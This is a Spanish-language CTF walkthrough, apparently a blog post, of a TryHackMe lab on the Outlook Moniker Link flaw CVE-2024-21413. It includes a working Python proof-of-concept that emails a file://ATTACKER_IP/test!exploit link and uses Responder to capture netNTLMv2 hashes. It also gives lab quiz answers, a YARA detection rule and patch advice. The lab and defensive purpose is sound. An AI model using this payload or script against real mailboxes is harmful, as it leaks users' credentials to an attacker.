Hola hacketones! Bienvenidos a un nuevo CTF para la Certificación SEC1 de la ruta Cyber Security 101 de TryHackMe – Moniker Link (CVE-2024-21413)
Introducción
El 13 de febrero de 2024, Microsoft anunció una vulnerabilidad de RCE y fuga de credenciales en Microsoft Outlook, con el CVE asignado CVE -2024-21413 (enlace de Moniker). Haifei Li, de Check Point Research, es el responsable del descubrimiento de la vulnerabilidad . La vulnerabilidad evade los mecanismos de seguridad de Outlook al enviar un tipo específico de hipervínculo conocido como Moniker Link. Un atacante puede aprovechar esta vulnerabilidad enviando un correo electrónico con un Moniker Link malicioso a la víctima, lo que provoca que Outlook envíe las credenciales NTLM del usuario al atacante al hacer clic en el hipervínculo. Los detalles relacionados con la puntuación de la vulnerabilidad se proporcionan en la siguiente tabla:
| CVSS | Descripción |
| Fecha de publicación | 13 de febrero de 2024 |
| Artículo de MS | https://msrc.microsoft.com/update-guide/en-US/vulnerability/ CVE -2024-21413 |
| Impacto | Ejecución remota de código y fuga de credenciales |
| Gravedad | Crítico |
| Complejidad del ataque | Bajo |
| Tanteo | 9.8 |
Se sabe que la vulnerabilidad afecta a las siguientes versiones de Office:
| Liberar | Versión |
| Microsoft Office LTSC 2021 | Afectado desde 19.0.0 |
| Aplicaciones de Microsoft 365 para empresas | Afectado desde 16.0.1 |
| Microsoft Office 2019 | Afectado desde 16.0.1 |
| Microsoft Office 2016 | Afectado desde 16.0.0 antes de 16.0.5435.1001 |
Responda las siguientes preguntas
¿Qué nivel de «gravedad» se le ha asignado al CVE?
Critical
Enlace de Moniker (CVE-2024-21413)
Outlook puede procesar correos electrónicos como HTML. Es posible que notes que esto se usa en tus boletines favoritos. Además, Outlook puede analizar hipervínculos como HTTP y HTTPS. Sin embargo, también puede abrir URL que especifican aplicaciones, conocidas como » Enlaces de Moniker» . Normalmente, Outlook mostrará una advertencia de seguridad cuando se activen aplicaciones externas.

Esta ventana emergente se debe a la «Vista protegida» de Outlook. Esta vista abre los correos electrónicos con archivos adjuntos, hipervínculos y contenido similar en modo de solo lectura, bloqueando elementos como las macros (especialmente las provenientes de fuera de la organización).
Al usar el file://enlace Moniker en nuestro hipervínculo, podemos indicar a Outlook que intente acceder a un archivo, como uno en un recurso compartido de red ( <a href=»file://ATTACKER_IP/test»>Click me</a>). Se utiliza el protocolo SMB , que implica el uso de credenciales locales para la autenticación. Sin embargo, la «Vista protegida» de Outlook detecta y bloquea este intento.
<p><a href=»file://ATTACKER_MACHINE/test»>Click me</a></p>
La vulnerabilidad se presenta al modificar nuestro hipervínculo para incluir el !carácter especial y texto en nuestro enlace de Moniker, lo que permite eludir la Vista protegida de Outlook. Por ejemplo: <a href=»file://ATTACKER_IP/test!exploit»>Click me</a>.
<p><a href=»file://ATTACKER_MACHINE/test!exploit»>Click me</a></p>
Nosotros, como atacantes, podemos proporcionar un enlace Moniker de este tipo para el ataque. Tenga en cuenta que no es necesario que el recurso compartido exista en el dispositivo remoto, ya que se intentará la autenticación de todos modos, lo que provocará el envío del hash netNTLMv2 de Windows de la víctima al atacante.
La ejecución remota de código ( RCE ) es posible porque Moniker Links utiliza el Modelo de objetos componentes (COM) en Windows. Sin embargo, explicar esto queda fuera del alcance de esta sala, ya que no existe una prueba de concepto pública para lograr la RCE mediante este CVE específico .
Responda las siguientes preguntas
¿Qué tipo de enlace de nombre utilizamos en el hipervínculo?
¿Cuál es el carácter especial que se utiliza para eludir la «Vista protegida» de Outlook?
!
Explotación
Para este ataque, enviaremos a nuestra víctima un enlace Moniker similar al proporcionado en la tarea anterior. El objetivo, como atacante, es crear un correo electrónico con un enlace Moniker que omita la vista protegida de Outlook. El cliente intentará cargar un archivo desde nuestro equipo atacante, lo que resultará en la captura del hash netNTLMv2 de la víctima.
Pero primero, repasemos una PoC que he creado (que también está disponible en GitHub ).
»’
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
»’
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = ‘attacker@monikerlink.thm’ # Replace with your sender email address
receiver_email = ‘victim@monikerlink.thm’ # Replace with the recipient email address
password = input(«Enter your attacker email password: «)
html_content = «»»\
<!DOCTYPE html>
<html lang=»en»>
<p><a href=»file://ATTACKER_MACHINE/test!exploit»>Click me</a></p>
</body>
</html>»»»
message = MIMEMultipart()
message[‘Subject’] = «CVE-2024-21413»
message[«From»] = formataddr((‘CMNatic’, sender_email))
message[«To»] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,’html’)
message.attach(msgHtml)
server = smtplib.SMTP(‘MAILSERVER’, 25)
server.ehlo()
try:
server.login(sender_email, password)
except Exception as err:
print(err)
exit(-1)
try:
server.sendmail(sender_email, [receiver_email], message.as_string())
print(«\n Email delivered»)
except Exception as error:
print(error)
finally:
server.quit()
El PoC :
- Recibe el correo electrónico del atacante y de la víctima. Normalmente, necesitaría usar su propio servidor SMTP (ya se le ha proporcionado en esta sala).
- Se requiere la contraseña para autenticarse. Para esta sala, la contraseña para atacante@monikerlink.thm es atacante .
- Contiene el contenido del correo electrónico (html_content), que contiene nuestro enlace Moniker como un hipervínculo HTML
- Luego, complete los campos «asunto», «de» y «para» en el correo electrónico.
- Finalmente, envía el correo electrónico al servidor de correo.
Usemos Responder para crear un receptor SMB en nuestra máquina atacante. Para la THM AttackBox, la interfaz será -I ens5. El nombre de la interfaz variará si usas tu propio dispositivo (por ejemplo, Kali). Si quieres investigar un poco, también puedes usar un servidor Impacket.

Abramos la máquina vulnerable presionando el panel » CVE -2024-21413″ en la vista de pantalla dividida.

Al finalizar, verá la interfaz de Outlook. Para esta sala, el buzón de la víctima ya está configurado en Outlook.

Regresa a tu AttackBox. Copiaremos y pegaremos la PoC anterior en tu AttackBox.

Para ello, crearemos un nuevo archivo en AttackBox nano exploit.py y usaremos la bandeja deslizable en la vista de pantalla dividida. Consulta el GIF a continuación para ver esto en acción.

Necesitaremos realizar una configuración inicial en nuestra AttackBox antes de ejecutar el script de Python:
- Modifique el enlace Moniker (línea n.° 12) en nuestro PoC para reflejar la dirección IP de nuestra AttackBox
- Reemplace el marcador de posición MAILSERVER en la línea n.° 31 con MACHINE_IP
Una vez finalizado, podemos ejecutar el exploit. Cuando se le solicite la contraseña del correo electrónico del atacante, escriba «atacante».
Ejecutando exploit.py
root@attackbox:# python3 exploit.py
Enter your attacker email password: attacker
El script de Python mostrará «Correo electrónico entregado» cuando se haya enviado. Si el script indica un error de autenticación, asegúrese de haber reemplazado correctamente los valores en exploit.py. Ahora, volvamos a la máquina vulnerable y revisemos el nuevo correo electrónico:

Haga clic en el hipervínculo «Haga clic en mí» y regrese a nuestra sesión de terminal «Responder» en AttackBox:

¡Éxito! El hash netNTLMv2 de la víctima se ha capturado en nuestra AttackBox.
Responda las siguientes preguntas
¿Cuál es el nombre de la aplicación que utilizamos en AttackBox para capturar el hash del usuario?
responder
¿Qué tipo de hash se captura una vez que se hace clic en el hipervínculo del correo electrónico?
netNTLMv2
Detección
YARA
Florian Roth ha creado una regla de Yara para detectar correos electrónicos que contienen el elemento en Moniker Link.file:\\
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Wireshark
Además, la solicitud SMB de la víctima al cliente se puede ver en una captura de paquetes con un hash netNTLMv2 truncado.

Remediación
Microsoft ha incluido parches para resolver esta vulnerabilidad en la versión «Martes de parches» de febrero. Puede consultar una lista de artículos de Knowledge Base por compilación de Office aquí . Se recomienda encarecidamente actualizar Office mediante Windows Update o el Catálogo de Microsoft Update .
Además, mientras tanto, es un recordatorio oportuno para practicar prácticas generales de ciberseguridad seguras. Por ejemplo, recordar a los usuarios que:
- No haga clic en enlaces aleatorios (especialmente de correos electrónicos no solicitados)
- Obtenga una vista previa de los enlaces antes de hacer clic en ellos
- Reenviar correos electrónicos sospechosos al departamento correspondiente responsable de la ciberseguridad
Dado que esta vulnerabilidad ignora la Vista protegida de Outlook, no es posible reconfigurarlo para evitar este ataque. Además, bloquear el protocolo SMB por completo puede ser más perjudicial que beneficioso, especialmente porque es esencial para acceder a recursos compartidos de red. Sin embargo, es posible bloquearlo a nivel de firewall , según la organización.
Conclusión
¡Felicidades! Eso fue divertido. Como sabemos, Outlook es un cliente de correo electrónico extremadamente popular.CVESe sabe que afecta a una gran parte de la suite Office y, dada su complejidad de ataque extremadamente baja, es una vulnerabilidad bastante peligrosa.
Recuerde que es fundamental actualizar Outlook a través de Windows Update o del Catálogo de actualizaciones de Microsoft lo antes posible, ya que no hay forma de evitar que se eluda la «Vista protegida» de Outlook.
¡Espero que hayas disfrutado de la habitación!
Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!